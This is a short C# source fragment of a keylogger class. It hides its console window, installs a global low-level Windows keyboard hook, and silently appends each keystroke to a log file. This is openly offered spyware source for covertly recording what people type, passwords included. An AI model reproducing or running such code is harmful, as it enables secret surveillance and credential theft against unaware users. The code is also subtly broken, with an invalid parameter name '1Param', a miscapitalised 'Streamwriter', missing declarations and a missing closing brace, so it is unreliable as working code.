class clsConsoleKeyLogger
{

   private const int WH_KEYBOARD_LL = 13;
   private const int WM_KEYDOWN = 0x0100;
   private static LowLevelKeyboardProc _proc = HookCallback;
   private static IntPtr _hookID = IntPtr.Zero;

    public static void startKeyLogger()
    {
      var handle = GetConsoleWindow();

       // Hide
       ShowWindow(handle, SW_HIDE);

       _hookID = SetHook(_proc);
       Application.Run();
       UnhookWindowsHookEx(_hookID);
    }

   private static IntPtr SetHook(LowLevelKeyboardProc proc)
   {
     using (Process curProcess = Process.GetCurrentProcess())
     using (ProcessModule curModule = curProcess.MainModule)
     {
       return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
        GetModuleHandle(curModule.ModuleName), 0);
     }
   }

   private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr 1Param);

   private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr 1Param)
   {
     if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
     {
       int vkCode = Marshal.ReadInt32(1Param);
       Console.WriteLine((Keys)vkCode);
       StreamWriter sw = new Streamwriter(Application.StartupPath + @"\log.txt", true);
       sw.Write((Keys)vkCode);
       sw.Close();
     }
     return CallNextHookEx(_hookID, nCode, wParam, 1Param);
   }